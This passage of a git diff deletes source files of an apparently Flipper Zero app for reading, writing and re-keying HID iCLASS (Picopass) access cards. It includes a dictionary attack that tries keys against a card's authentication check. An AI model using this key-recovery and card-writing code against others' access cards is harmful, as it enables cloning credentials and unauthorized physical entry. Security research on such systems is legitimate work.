picopass_is_memset(AA1[5].data, 0xFF, 8); - pacs->se_enabled = (memcmp(AA1[5].data, "\xff\xff\xff\x00\x06\xff\xff\xff", 8) == 0); - if(pacs->se_enabled) { - FURI_LOG_D(TAG, "SE enabled"); - picopass_worker->callback(PicopassWorkerEventAborted, picopass_worker->context); - return; - } - - break; - } else { - picopass_worker->callback(PicopassWorkerEventNoCardDetected, picopass_worker->context); - } - if(picopass_worker->state != PicopassWorkerStateEliteDictAttack) break; - - furi_delay_ms(100); - } while(true); - - FURI_LOG_D( - TAG, "Start Dictionary attack, Key Count %lu", iclass_elite_dict_get_total_keys(dict)); - while(iclass_elite_dict_get_next_key(dict, key)) { - FURI_LOG_T(TAG, "Key %zu", index); - if(++index % PICOPASS_DICT_KEY_BATCH_SIZE == 0) { - picopass_worker->callback( - PicopassWorkerEventNewDictKeyBatch, picopass_worker->context); - } - - err = rfalPicoPassPollerReadCheck(&rcRes); - if(err != ERR_NONE) { - FURI_LOG_E(TAG, "rfalPicoPassPollerReadCheck error %d", err); - break; - } - memcpy(ccnr, rcRes.CCNR, sizeof(rcRes.CCNR)); // last 4 bytes left 0 - - uint8_t* csn = AA1[PICOPASS_CSN_BLOCK_INDEX].data; - uint8_t* div_key = AA1[PICOPASS_KD_BLOCK_INDEX].data; - - loclass_iclass_calc_div_key(csn, key, div_key, elite); - loclass_opt_doReaderMAC(ccnr, div_key, mac); - - err = rfalPicoPassPollerCheck(mac, &chkRes); - if(err == ERR_NONE) { - FURI_LOG_I(TAG, "Found key"); - memcpy(pacs->key, key, PICOPASS_BLOCK_LEN); - pacs->elite_kdf = elite; - err = picopass_read_card(AA1); - if(err != ERR_NONE) { - FURI_LOG_E(TAG, "picopass_read_card error %d", err); - picopass_worker->callback(PicopassWorkerEventFail, picopass_worker->context); - break; - } - - err = picopass_device_parse_credential(AA1, pacs); - if(err != ERR_NONE) { - FURI_LOG_E(TAG, "picopass_device_parse_credential error %d", err); - picopass_worker->callback(PicopassWorkerEventFail, picopass_worker->context); - break; - } - - err = picopass_device_parse_wiegand(pacs->credential, &pacs->record); - if(err != ERR_NONE) { - FURI_LOG_E(TAG, "picopass_device_parse_wiegand error %d", err); - picopass_worker->callback(PicopassWorkerEventFail, picopass_worker->context); - break; - } - picopass_worker->callback(PicopassWorkerEventAborted, picopass_worker->context); - break; - } - - if(picopass_worker->state != PicopassWorkerStateEliteDictAttack) break; - } - FURI_LOG_D(TAG, "Dictionary complete"); - if(picopass_worker->state == PicopassWorkerStateEliteDictAttack) { - picopass_worker->callback(PicopassWorkerEventSuccess, picopass_worker->context); - } else { - picopass_worker->callback(PicopassWorkerEventAborted, picopass_worker->context); - } -} - -int32_t picopass_worker_task(void* context) { - PicopassWorker* picopass_worker = context; - - picopass_worker_enable_field(); - if(picopass_worker->state == PicopassWorkerStateDetect) { - picopass_worker_detect(picopass_worker); - } else if(picopass_worker->state == PicopassWorkerStateWrite) { - picopass_worker_write(picopass_worker); - } else if(picopass_worker->state == PicopassWorkerStateWriteKey) { - picopass_worker_write_key(picopass_worker); - } else if(picopass_worker->state == PicopassWorkerStateEliteDictAttack) { - picopass_worker_elite_dict_attack(picopass_worker); - } else if(picopass_worker->state == PicopassWorkerStateStop) { - FURI_LOG_D(TAG, "Worker state stop"); - // no-op - } else { - FURI_LOG_W(TAG, "Unknown state %d", picopass_worker->state); - } - picopass_worker_disable_field(ERR_NONE); - picopass_worker_change_state(picopass_worker, PicopassWorkerStateReady); - - return 0; -} - -void picopass_worker_detect(PicopassWorker* picopass_worker) { - picopass_device_data_clear(picopass_worker->dev_data); - PicopassDeviceData* dev_data = picopass_worker->dev_data; - - PicopassBlock* AA1 = dev_data->AA1; - PicopassPacs* pacs = &dev_data->pacs; - ReturnCode err; - - // reset device data - for(size_t i = 0; i < PICOPASS_MAX_APP_LIMIT; i++) { - memset(AA1[i].data, 0, sizeof(AA1[i].data)); - } - memset(pacs, 0, sizeof(PicopassPacs)); - - PicopassWorkerEvent nextState = PicopassWorkerEventSuccess; - - while(picopass_worker->state == PicopassWorkerStateDetect) { - if(picopass_detect_card(1000) == ERR_NONE) { - // Process first found device - err = picopass_read_preauth(AA1); - if(err != ERR_NONE) { - FURI_LOG_E(TAG, "picopass_read_preauth error %d", err); - nextState = PicopassWorkerEventFail; - } - - // Thank you proxmark! - pacs->legacy = picopass_is_memset(AA1[5].data, 0xFF, 8); - pacs->se_enabled = (memcmp(AA1[5].data, "\xff\xff\xff\x00\x06\xff\xff\xff", 8) == 0); - if(pacs->se_enabled) { - FURI_LOG_D(TAG, "SE enabled"); - nextState = PicopassWorkerEventFail; - } - - if(nextState == PicopassWorkerEventSuccess) { - err = picopass_auth(picopass_worker); - if(err != ERR_NONE) { - FURI_LOG_E(TAG, "picopass_try_auth error %d", err); - nextState = PicopassWorkerEventFail; - } - } - - if(nextState == PicopassWorkerEventSuccess) { - err = picopass_read_card(AA1); - if(err != ERR_NONE) { - FURI_LOG_E(TAG, "picopass_read_card error %d", err); - nextState = PicopassWorkerEventFail; - } - } - - if(nextState == PicopassWorkerEventSuccess) { - err = picopass_device_parse_credential(AA1, pacs); - if(err != ERR_NONE) { - FURI_LOG_E(TAG, "picopass_device_parse_credential error %d", err); - nextState = PicopassWorkerEventFail; - } - } - - if(nextState == PicopassWorkerEventSuccess) { - err = picopass_device_parse_wiegand(pacs->credential, &pacs->record); - if(err != ERR_NONE) { - FURI_LOG_E(TAG, "picopass_device_parse_wiegand error %d", err); - nextState = PicopassWorkerEventFail; - } - } - - // Notify caller and exit - if(picopass_worker->callback) { - picopass_worker->callback(nextState, picopass_worker->context); - } - break; - } - furi_delay_ms(100); - } -} - -void picopass_worker_write(PicopassWorker* picopass_worker) { - PicopassDeviceData* dev_data = picopass_worker->dev_data; - PicopassBlock* AA1 = dev_data->AA1; - ReturnCode err; - PicopassWorkerEvent nextState = PicopassWorkerEventSuccess; - - while(picopass_worker->state == PicopassWorkerStateWrite) { - if(picopass_detect_card(1000) == ERR_NONE) { - err = picopass_write_card(AA1); - if(err != ERR_NONE) { - FURI_LOG_E(TAG, "picopass_write_card error %d", err); - nextState = PicopassWorkerEventFail; - } - - // Notify caller and exit - if(picopass_worker->callback) { - picopass_worker->callback(nextState, picopass_worker->context); - } - break; - } - furi_delay_ms(100); - } -} - -void picopass_worker_write_key(PicopassWorker* picopass_worker) { - PicopassDeviceData* dev_data = picopass_worker->dev_data; - PicopassBlock* AA1 = dev_data->AA1; - PicopassPacs* pacs = &dev_data->pacs; - ReturnCode err; - PicopassWorkerEvent nextState = PicopassWorkerEventSuccess; - - uint8_t* csn = AA1[PICOPASS_CSN_BLOCK_INDEX].data; - uint8_t* configBlock = AA1[PICOPASS_CONFIG_BLOCK_INDEX].data; - uint8_t fuses = configBlock[7]; - uint8_t* oldKey = AA1[PICOPASS_KD_BLOCK_INDEX].data; - - uint8_t newKey[PICOPASS_BLOCK_LEN] = {0}; - loclass_iclass_calc_div_key(csn, pacs->key, newKey, pacs->elite_kdf); - - if((fuses & 0x80) == 0x80) { - FURI_LOG_D(TAG, "Plain write for personalized mode key change"); - } else { - FURI_LOG_D(TAG, "XOR write for application mode key change"); - // XOR when in application mode - for(size_t i = 0; i < PICOPASS_BLOCK_LEN; i++) { - newKey[i] ^= oldKey[i]; - } - } - - while(picopass_worker->state == PicopassWorkerStateWriteKey) { - if(picopass_detect_card(1000) == ERR_NONE) { - err = picopass_write_block(AA1, PICOPASS_KD_BLOCK_INDEX, newKey); - if(err != ERR_NONE) { - FURI_LOG_E(TAG, "picopass_write_block error %d", err); - nextState = PicopassWorkerEventFail; - } - - // Notify caller and exit - if(picopass_worker->callback) { - picopass_worker->callback(nextState, picopass_worker->context); - } - break; - } - furi_delay_ms(100); - } -} diff --git a/applications/external/picopass/picopass_worker.h b/applications/external/picopass/picopass_worker.h deleted file mode 100644 index e9d37481b..000000000 --- a/applications/external/picopass/picopass_worker.h +++ /dev/null @@ -1,52 +0,0 @@ -#pragma once - -#include "picopass_device.h" -#include "picopass_keys.h" - -typedef struct PicopassWorker PicopassWorker; - -typedef enum { - // Init states - PicopassWorkerStateNone, - PicopassWorkerStateBroken, - PicopassWorkerStateReady, - // Main worker states - PicopassWorkerStateDetect, - PicopassWorkerStateWrite, - PicopassWorkerStateWriteKey, - PicopassWorkerStateEliteDictAttack, - // Transition - PicopassWorkerStateStop, -} PicopassWorkerState; - -typedef enum { - // Reserve first 50 events for application events - PicopassWorkerEventReserved = 50, - - // Picopass worker common events - PicopassWorkerEventSuccess, - PicopassWorkerEventFail, - PicopassWorkerEventNoCardDetected, - PicopassWorkerEventSeEnabled, - PicopassWorkerEventAborted, - PicopassWorkerEventCardDetected, - PicopassWorkerEventNewDictKeyBatch, - PicopassWorkerEventNoDictFound, -} PicopassWorkerEvent; - -typedef void (*PicopassWorkerCallback)(PicopassWorkerEvent event, void* context); - -PicopassWorker* picopass_worker_alloc(); - -PicopassWorkerState picopass_worker_get_state(PicopassWorker* picopass_worker); - -void picopass_worker_free(PicopassWorker* picopass_worker); - -void picopass_worker_start( - PicopassWorker* picopass_worker, - PicopassWorkerState state, - PicopassDeviceData* dev_data, - PicopassWorkerCallback callback, - void* context); - -void picopass_worker_stop(PicopassWorker* picopass_worker); diff --git a/applications/external/picopass/picopass_worker_i.h b/applications/external/picopass/picopass_worker_i.h deleted file mode 100644 index f41cfce45..000000000 --- a/applications/external/picopass/picopass_worker_i.h +++ /dev/null @@ -1,34 +0,0 @@ -#pragma once - -#include "picopass_worker.h" -#include "picopass_i.h" - -#include -#include - -#include - -#include -#include - -#include - -struct PicopassWorker { - FuriThread* thread; - Storage* storage; - Stream* dict_stream; - - PicopassDeviceData* dev_data; - PicopassWorkerCallback callback; - void* context; - - PicopassWorkerState state; -}; - -void picopass_worker_change_state(PicopassWorker* picopass_worker, PicopassWorkerState state); - -int32_t picopass_worker_task(void* context); - -void picopass_worker_detect(PicopassWorker* picopass_worker); -void picopass_worker_write(PicopassWorker* picopass_worker); -void picopass_worker_write_key(PicopassWorker* picopass_worker); diff --git a/applications/external/picopass/rfal_picopass.c b/applications/external/picopass/rfal_picopass.c deleted file mode 100644 index ac66cb92d..000000000 --- a/applications/external/picopass/rfal_picopass.c +++ /dev/null @@ -1,214 +0,0 @@ -#include "rfal_picopass.h" - -#define RFAL_PICOPASS_TXRX_FLAGS \ - (FURI_HAL_NFC_LL_TXRX_FLAGS_CRC_TX_MANUAL | FURI_HAL_NFC_LL_TXRX_FLAGS_AGC_ON | \ - FURI_HAL_NFC_LL_TXRX_FLAGS_PAR_RX_REMV | FURI_HAL_NFC_LL_TXRX_FLAGS_CRC_RX_KEEP) - -#define TAG "RFAL_PICOPASS" - -typedef struct { - uint8_t CMD; - uint8_t CSN[RFAL_PICOPASS_UID_LEN]; -} rfalPicoPassSelectReq; - -typedef struct { - uint8_t CMD; - uint8_t null[4]; - uint8_t mac[4]; -} rfalPicoPassCheckReq; - -static uint16_t rfalPicoPassUpdateCcitt(uint16_t crcSeed, uint8_t dataByte) { - uint16_t crc = crcSeed; - uint8_t dat = dataByte; - - dat ^= (uint8_t)(crc & 0xFFU); - dat ^= (dat << 4); - - crc = (crc >> 8) ^ (((uint16_t)dat) << 8) ^ (((uint16_t)dat) << 3) ^ (((uint16_t)dat) >> 4); - - return crc; -} - -static uint16_t - rfalPicoPassCalculateCcitt(uint16_t preloadValue, const uint8_t* buf, uint16_t length) { - uint16_t crc = preloadValue; - uint16_t index; - - for(index = 0; index < length; index++) { - crc = rfalPicoPassUpdateCcitt(crc, buf[index]); - } - - return crc; -} - -FuriHalNfcReturn rfalPicoPassPollerInitialize(void) { - FuriHalNfcReturn ret; - - ret = furi_hal_nfc_ll_set_mode( - FuriHalNfcModePollPicopass, FuriHalNfcBitrate26p48, FuriHalNfcBitrate26p48); - if(ret != FuriHalNfcReturnOk) { - return ret; - }; - - furi_hal_nfc_ll_set_error_handling(FuriHalNfcErrorHandlingNfc); - furi_hal_nfc_ll_set_guard_time(FURI_HAL_NFC_LL_GT_PICOPASS); - furi_hal_nfc_ll_set_fdt_listen(FURI_HAL_NFC_LL_FDT_LISTEN_PICOPASS_POLLER); - furi_hal_nfc_ll_set_fdt_poll(FURI_HAL_NFC_LL_FDT_POLL_PICOPASS_POLLER); - - return FuriHalNfcReturnOk; -} - -FuriHalNfcReturn rfalPicoPassPollerCheckPresence(void) { - FuriHalNfcReturn ret; - uint8_t txBuf[1] = {RFAL_PICOPASS_CMD_ACTALL}; - uint8_t rxBuf[32] = {0}; - uint16_t recvLen = 0; - uint32_t flags = RFAL_PICOPASS_TXRX_FLAGS; - uint32_t fwt = furi_hal_nfc_ll_ms2fc(20); - - ret = furi_hal_nfc_ll_txrx(txBuf, 1, rxBuf, 32, &recvLen, flags, fwt); - return ret; -} - -FuriHalNfcReturn rfalPicoPassPollerIdentify(rfalPicoPassIdentifyRes* idRes) { - FuriHalNfcReturn ret; - - uint8_t txBuf[1] = {RFAL_PICOPASS_CMD_IDENTIFY}; - uint16_t recvLen = 0; - uint32_t flags = RFAL_PICOPASS_TXRX_FLAGS; - uint32_t fwt = furi_hal_nfc_ll_ms2fc(20); - - ret = furi_hal_nfc_ll_txrx( - txBuf, - sizeof(txBuf), - (uint8_t*)idRes, - sizeof(rfalPicoPassIdentifyRes), - &recvLen, - flags, - fwt); - // printf("identify rx: %d %s\n", recvLen, hex2Str(idRes->CSN, RFAL_PICOPASS_UID_LEN)); - - return ret; -} - -FuriHalNfcReturn rfalPicoPassPollerSelect(uint8_t* csn, rfalPicoPassSelectRes* selRes) { - FuriHalNfcReturn ret; - - rfalPicoPassSelectReq selReq; - selReq.CMD = RFAL_PICOPASS_CMD_SELECT; - memcpy(selReq.CSN, csn, RFAL_PICOPASS_UID_LEN); - uint16_t recvLen = 0; - uint32_t flags = RFAL_PICOPASS_TXRX_FLAGS; - uint32_t fwt = furi_hal_nfc_ll_ms2fc(20); - - ret = furi_hal_nfc_ll_txrx( - (uint8_t*)&selReq, - sizeof(rfalPicoPassSelectReq), - (uint8_t*)selRes, - sizeof(rfalPicoPassSelectRes), - &recvLen, - flags, - fwt); - // printf("select rx: %d %s\n", recvLen, hex2Str(selRes->CSN, RFAL_PICOPASS_UID_LEN)); - if(ret == FuriHalNfcReturnTimeout) { - return FuriHalNfcReturnOk; - } - - return ret; -} - -FuriHalNfcReturn rfalPicoPassPollerReadCheck(rfalPicoPassReadCheckRes* rcRes) { - FuriHalNfcReturn ret; - uint8_t txBuf[2] = {RFAL_PICOPASS_CMD_READCHECK, 0x02}; - uint16_t recvLen = 0; - uint32_t flags = RFAL_PICOPASS_TXRX_FLAGS; - uint32_t fwt = furi_hal_nfc_ll_ms2fc(20); - - ret = furi_hal_nfc_ll_txrx( - txBuf, - sizeof(txBuf), - (uint8_t*)rcRes, - sizeof(rfalPicoPassReadCheckRes), - &recvLen, - flags, - fwt); - // printf("readcheck rx: %d %s\n", recvLen, hex2Str(rcRes->CCNR, 8)); - - if(ret == FuriHalNfcReturnCrc) { - return FuriHalNfcReturnOk; - } - - return ret; -} - -FuriHalNfcReturn rfalPicoPassPollerCheck(uint8_t* mac, rfalPicoPassCheckRes* chkRes) { - FuriHalNfcReturn ret; - rfalPicoPassCheckReq chkReq; - chkReq.CMD = RFAL_PICOPASS_CMD_CHECK; - memcpy(chkReq.mac, mac, 4); - memset(chkReq.null, 0, 4); - uint16_t recvLen = 0; - uint32_t flags = RFAL_PICOPASS_TXRX_FLAGS; - uint32_t fwt = furi_hal_nfc_ll_ms2fc(20); - - // printf("check tx: %s\n", hex2Str((uint8_t *)&chkReq, sizeof(rfalPicoPassCheckReq))); - ret = furi_hal_nfc_ll_txrx( - (uint8_t*)&chkReq, - sizeof(rfalPicoPassCheckReq), - (uint8_t*)chkRes, - sizeof(rfalPicoPassCheckRes), - &recvLen, - flags, - fwt); - // printf("check rx: %d %s\n", recvLen, hex2Str(chkRes->mac, 4)); - if(ret == FuriHalNfcReturnCrc) { - return FuriHalNfcReturnOk; - } - - return ret; -} - -FuriHalNfcReturn rfalPicoPassPollerReadBlock(uint8_t blockNum, rfalPicoPassReadBlockRes* readRes) { - FuriHalNfcReturn ret; - - uint8_t txBuf[4] = {RFAL_PICOPASS_CMD_READ, 0, 0, 0}; - txBuf[1] = blockNum; - uint16_t crc = rfalPicoPassCalculateCcitt(0xE012, txBuf + 1, 1); - memcpy(txBuf + 2, &crc, sizeof(uint16_t)); - - uint16_t recvLen = 0; - uint32_t flags = RFAL_PICOPASS_TXRX_FLAGS; - uint32_t fwt = furi_hal_nfc_ll_ms2fc(20); - - ret = furi_hal_nfc_ll_txrx( - txBuf, - sizeof(txBuf), - (uint8_t*)readRes, - sizeof(rfalPicoPassReadBlockRes), - &recvLen, - flags, - fwt); - return ret; -} - -FuriHalNfcReturn rfalPicoPassPollerWriteBlock(uint8_t blockNum, uint8_t data[8], uint8_t mac[4]) { - FuriHalNfcReturn ret; - - uint8_t txBuf[14] = {RFAL_PICOPASS_CMD_WRITE, blockNum, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0}; - memcpy(txBuf + 2, data, RFAL_PICOPASS_MAX_BLOCK_LEN); - memcpy(txBuf + 10, mac, 4); - - uint16_t recvLen = 0; - uint32_t flags = RFAL_PICOPASS_TXRX_FLAGS; - uint32_t fwt = furi_hal_nfc_ll_ms2fc(20); - rfalPicoPassReadBlockRes block; - - ret = furi_hal_nfc_ll_txrx( - txBuf, sizeof(txBuf), (uint8_t*)&block, sizeof(block), &recvLen, flags, fwt); - - if(ret == FuriHalNfcReturnOk) { - // TODO: compare response - } - - return ret; -} diff --git a/applications/external/picopass/rfal_picopass.h b/applications/external/picopass/rfal_picopass.h deleted file mode 100644 index 6926b2a79..000000000 --- a/applications/external/picopass/rfal_picopass.h +++ /dev/null @@ -1,48 +0,0 @@ -#pragma once - -#include - -#define RFAL_PICOPASS_UID_LEN 8 -#define RFAL_PICOPASS_MAX_BLOCK_LEN 8 - -enum { - RFAL_PICOPASS_CMD_ACTALL = 0x0A, - RFAL_PICOPASS_CMD_IDENTIFY = 0x0C, - RFAL_PICOPASS_CMD_SELECT = 0x81, - RFAL_PICOPASS_CMD_READCHECK = 0x88, - RFAL_PICOPASS_CMD_CHECK = 0x05, - RFAL_PICOPASS_CMD_READ = 0x0C, - RFAL_PICOPASS_CMD_WRITE = 0x87, -}; - -typedef struct { - uint8_t CSN[RFAL_PICOPASS_UID_LEN]; // Anti-collision CSN - uint8_t crc[2]; -} rfalPicoPassIdentifyRes; - -typedef struct { - uint8_t CSN[RFAL_PICOPASS_UID_LEN]; // Real CSN - uint8_t crc[2]; -} rfalPicoPassSelectRes; - -typedef struct { - uint8_t CCNR[8]; -} rfalPicoPassReadCheckRes; - -typedef struct { - uint8_t mac[4]; -} rfalPicoPassCheckRes; - -typedef struct { - uint8_t data[RFAL_PICOPASS_MAX_BLOCK_LEN]; - uint8_t crc[2]; -} rfalPicoPassReadBlockRes; - -FuriHalNfcReturn rfalPicoPassPollerInitialize(void); -FuriHalNfcReturn rfalPicoPassPollerCheckPresence(void); -FuriHalNfcReturn rfalPicoPassPollerIdentify(rfalPicoPassIdentifyRes* idRes); -FuriHalNfcReturn rfalPicoPassPollerSelect(uint8_t* csn, rfalPicoPassSelectRes* selRes); -FuriHalNfcReturn rfalPicoPassPollerReadCheck(rfalPicoPassReadCheckRes* rcRes); -FuriHalNfcReturn rfalPicoPassPollerCheck(uint8_t* mac, rfalPicoPassCheckRes* chkRes); -FuriHalNfcReturn rfalPicoPassPollerReadBlock(uint8_t blockNum, rfalPicoPassReadBlockRes* readRes); -FuriHalNfcReturn rfalPicoPassPollerWriteBlock(uint8_t blockNum, uint8_t data[8], uint8_t mac[4]); diff --git a/applications/external/picopass/scenes/picopass_scene.c b/applications/external/picopass/scenes/picopass_scene.c deleted file mode 100644 index 61bd5e8fe..000000000 --- a/applications/external/picopass/scenes/picopass_scene.c +++ /dev/null @@ -1,30 +0,0 @@ -#include "picopass_scene.h" - -// Generate scene on_enter handlers array -#define ADD_SCENE(prefix, name, id) prefix##_scene_##name##_on_enter, -void (*const picopass_on_enter_handlers[])(void*) = { -#include "picopass_scene_config.h" -}; -#undef ADD_SCENE - -// Generate scene on_event handlers array -#define ADD_SCENE(prefix, name, id) prefix##_scene_##name##_on_event, -bool (*const picopass_on_event_handlers[])(void* context, SceneManagerEvent event) = { -#include "picopass_scene_config.h" -}; -#undef ADD_SCENE - -// Generate scene on_exit handlers array -#define ADD_SCENE(prefix, name, id) prefix##_scene_##name##_on_exit, -void (*const picopass_on_exit_handlers[])(void* context) = { -#include "picopass_scene_config.h" -}; -#undef ADD_SCENE - -// Initialize scene handlers configuration structure -const SceneManagerHandlers picopass_scene_handlers = { - .on_enter_handlers = picopass_on_enter_handlers, - .on_event_handlers = picopass_on_event_handlers, - .on_exit_handlers = picopass_on_exit_handlers, - .scene_num = PicopassSceneNum, -}; diff --git a/applications/external/picopass/scenes/picopass_scene.h b/applications/external/picopass/scenes/picopass_scene.h deleted file mode 100644 index 2faa80b12..000000000 --- a/applications/external/picopass/scenes/picopass_scene.h +++ /dev/null @@ -1,29 +0,0 @@ -#pragma once - -#include - -// Generate scene id and total number -#define ADD_SCENE(prefix, name, id) PicopassScene##id, -typedef enum { -#include "picopass_scene_config.h" - PicopassSceneNum, -} PicopassScene; -#undef ADD_SCENE - -extern const SceneManagerHandlers picopass_scene_handlers; - -// Generate scene on_enter handlers declaration -#define ADD_SCENE(prefix, name, id) void prefix##_scene_##name##_on_enter(void*); -#include "picopass_scene_config.h" -#undef ADD_SCENE - -// Generate scene on_event handlers declaration -#define ADD_SCENE(prefix, name, id) \ - bool prefix##_scene_##name##_on_event(void* context, SceneManagerEvent event); -#include "picopass_scene_config.h" -#undef ADD_SCENE - -// Generate scene on_exit handlers declaration -#define ADD_SCENE(prefix, name, id) void prefix##_scene_##name##_on_exit(void* context); -#include "picopass_scene_config.h" -#undef ADD_SCENE diff --git a/applications/external/picopass/scenes/picopass_scene_card_menu.c b/applications/external/picopass/scenes/picopass_scene_card_menu.c deleted file mode 100644 index fe63f7c86..000000000 --- a/applications/external/picopass/scenes/picopass_scene_card_menu.c +++ /dev/null @@ -1,78 +0,0 @@ -#include "../picopass_i.h" - -enum SubmenuIndex { - SubmenuIndexSave, - SubmenuIndexSaveAsLF, - SubmenuIndexChangeKey, -}; - -void picopass_scene_card_menu_submenu_callback(void* context, uint32_t index) { - Picopass* picopass = context; - - view_dispatcher_send_custom_event(picopass->view_dispatcher, index); -} - -void picopass_scene_card_menu_on_enter(void* context) { - Picopass* picopass = context; - Submenu* submenu = picopass->submenu; - - submenu_add_item( - submenu, "Save", SubmenuIndexSave, picopass_scene_card_menu_submenu_callback, picopass); - if(picopass->dev->dev_data.pacs.record.valid) { - submenu_add_item( - submenu, - "Save as LF", - SubmenuIndexSaveAsLF, - picopass_scene_card_menu_submenu_callback, - picopass); - } - submenu_add_item( - submenu, - "Change Key", - SubmenuIndexChangeKey, - picopass_scene_card_menu_submenu_callback, - picopass); - - submenu_set_selected_item( - picopass->submenu, - scene_manager_get_scene_state(picopass->scene_manager, PicopassSceneCardMenu)); - - view_dispatcher_switch_to_view(picopass->view_dispatcher, PicopassViewMenu); -} - -bool picopass_scene_card_menu_on_event(void* context, SceneManagerEvent event) { - Picopass* picopass = context; - bool consumed = false; - - if(event.type == SceneManagerEventTypeCustom) { - if(event.event == SubmenuIndexSave) { - scene_manager_set_scene_state( - picopass->scene_manager, PicopassSceneCardMenu, SubmenuIndexSave); - scene_manager_next_scene(picopass->scene_manager, PicopassSceneSaveName); - picopass->dev->format = PicopassDeviceSaveFormatHF; - consumed = true; - } else if(event.event == SubmenuIndexSaveAsLF) { - scene_manager_set_scene_state( - picopass->scene_manager, PicopassSceneCardMenu, SubmenuIndexSaveAsLF); - picopass->dev->format = PicopassDeviceSaveFormatLF; - scene_manager_next_scene(picopass->scene_manager, PicopassSceneSaveName); - consumed = true; - } else if(event.event == SubmenuIndexChangeKey) { - scene_manager_set_scene_state( - picopass->scene_manager, PicopassSceneCardMenu, SubmenuIndexChangeKey); - scene_manager_next_scene(picopass->scene_manager, PicopassSceneKeyMenu); - consumed = true; - } - } else if(event.type == SceneManagerEventTypeBack) { - consumed = scene_manager_search_and_switch_to_previous_scene( - picopass->scene_manager, PicopassSceneStart); - } - - return consumed; -} - -void picopass_scene_card_menu_on_exit(void* context) { - Picopass* picopass = context; - - submenu_reset(picopass->submenu); -} diff --git a/applications/external/picopass/scenes/picopass_scene_config.h b/applications/external/picopass/scenes/picopass_scene_config.h deleted file mode 100644 index 8ea970498..000000000 --- a/applications/external/picopass/scenes/picopass_scene_config.h +++ /dev/null @@ -1,17 +0,0 @@ -ADD_SCENE(picopass, start, Start) -ADD_SCENE(picopass, read_card, ReadCard) -ADD_SCENE(picopass, read_card_success, ReadCardSuccess) -ADD_SCENE(picopass, card_menu, CardMenu) -ADD_SCENE(picopass, save_name, SaveName) -ADD_SCENE(picopass, save_success, SaveSuccess) -ADD_SCENE(picopass, saved_menu, SavedMenu) -ADD_SCENE(picopass, file_select, FileSelect) -ADD_SCENE(picopass, device_info, DeviceInfo) -ADD_SCENE(picopass, delete, Delete) -ADD_SCENE(picopass, delete_success, DeleteSuccess) -ADD_SCENE(picopass, write_card, WriteCard) -ADD_SCENE(picopass, write_card_success, WriteCardSuccess) -ADD_SCENE(picopass, read_factory_success, ReadFactorySuccess) -ADD_SCENE(picopass, write_key, WriteKey) -ADD_SCENE(picopass, key_menu, KeyMenu) -ADD_SCENE(picopass, elite_dict_attack, EliteDictAttack) diff --git a/applications/external/picopass/scenes/picopass_scene_delete.c b/applications/external/picopass/scenes/picopass_scene_delete.c deleted file mode 100644 index fb23cb5d4..000000000 --- a/applications/external/picopass/scenes/picopass_scene_delete.c +++ /dev/null @@ -1,58 +0,0 @@ -#include "../picopass_i.h" - -void picopass_scene_delete_widget_callback(GuiButtonType result, InputType type, void* context) { - Picopass* picopass = context; - if(type == InputTypeShort) { - view_dispatcher_send_custom_event(picopass->view_dispatcher, result); - } -} - -void picopass_scene_delete_on_enter(void* context) { - Picopass* picopass = context; - - // Setup Custom Widget view - char temp_str[64]; - snprintf(temp_str, sizeof(temp_str), "\e#Delete %s?\e#", picopass->dev->dev_name); - widget_add_text_box_element( - picopass->widget, 0, 0, 128, 23, AlignCenter, AlignCenter, temp_str, false); - widget_add_button_element( - picopass->widget, - GuiButtonTypeLeft, - "Back", - picopass_scene_delete_widget_callback, - picopass); - widget_add_button_element( - picopass->widget, - GuiButtonTypeRight, - "Delete", - picopass_scene_delete_widget_callback, - picopass); - - view_dispatcher_switch_to_view(picopass->view_dispatcher, PicopassViewWidget); -} - -bool picopass_scene_delete_on_event(void* context, SceneManagerEvent event) { - Picopass* picopass = context; - bool consumed = false; - - if(event.type == SceneManagerEventTypeCustom) { - if(event.event == GuiButtonTypeLeft) { - return scene_manager_previous_scene(picopass->scene_manager); - } else if(event.event == GuiButtonTypeRight) { - if(picopass_device_delete(picopass->dev, true)) { - scene_manager_next_scene(picopass->scene_manager, PicopassSceneDeleteSuccess); - } else { - scene_manager_search_and_switch_to_previous_scene( - picopass->scene_manager, PicopassSceneStart); - } - consumed = true; - } - } - return consumed; -} - -void picopass_scene_delete_on_exit(void* context) { - Picopass* picopass = context; - - widget_reset(picopass->widget); -} diff --git a/applications/external/picopass/scenes/picopass_scene_delete_success.c b/applications/external/picopass/scenes/picopass_scene_delete_success.c deleted file mode 100644 index f2a36a7fb..000000000 --- a/applications/external/picopass/scenes/picopass_scene_delete_success.c +++ /dev/null @@ -1,40 +0,0 @@ -#include "../picopass_i.h" - -void picopass_scene_delete_success_popup_callback(void* context) { - Picopass* picopass = context; - view_dispatcher_send_custom_event(picopass->view_dispatcher, PicopassCustomEventViewExit); -} - -void picopass_scene_delete_success_on_enter(void* context) { - Picopass* picopass = context; - - // Setup view - Popup* popup = picopass->popup; - popup_set_icon(popup, 0, 2, &I_DolphinMafia_115x62); - popup_set_header(popup, "Deleted", 83, 19, AlignLeft, AlignBottom); - popup_set_timeout(popup, 1500); - popup_set_context(popup, picopass); - popup_set_callback(popup, picopass_scene_delete_success_popup_callback); - popup_enable_timeout(popup); - view_dispatcher_switch_to_view(picopass->view_dispatcher, PicopassViewPopup); -} - -bool picopass_scene_delete_success_on_event(void* context, SceneManagerEvent event) { - Picopass* picopass = context; - bool consumed = false; - - if(event.type == SceneManagerEventTypeCustom) { - if(event.event == PicopassCustomEventViewExit) { - consumed = scene_manager_search_and_switch_to_previous_scene( - picopass->scene_manager, PicopassSceneStart); - } - } - return consumed; -} - -void picopass_scene_delete_success_on_exit(void* context) { - Picopass* picopass = context; - - // Clear view - popup_reset(picopass->popup); -} diff --git a/applications/external/picopass/scenes/picopass_scene_device_info.c b/applications/external/picopass/scenes/picopass_scene_device_info.c deleted file mode 100644 index bb149aa6b..000000000 --- a/applications/external/picopass/scenes/picopass_scene_device_info.c +++ /dev/null @@ -1,114 +0,0 @@ -#include "../picopass_i.h" -#include - -void picopass_scene_device_info_widget_callback( - GuiButtonType result, - InputType type, - void* context) { - Picopass* picopass = context; - if(type == InputTypeShort) { - view_dispatcher_send_custom_event(picopass->view_dispatcher, result); - } -} - -void picopass_scene_device_info_on_enter(void* context) { - Picopass* picopass = context; - - FuriString* csn_str = furi_string_alloc_set("CSN:"); - FuriString* credential_str = furi_string_alloc(); - FuriString* wiegand_str = furi_string_alloc(); - FuriString* sio_str = furi_string_alloc(); - - dolphin_deed(DolphinDeedNfcReadSuccess); - - // Setup view - PicopassBlock* AA1 = picopass->dev->dev_data.AA1; - PicopassPacs* pacs = 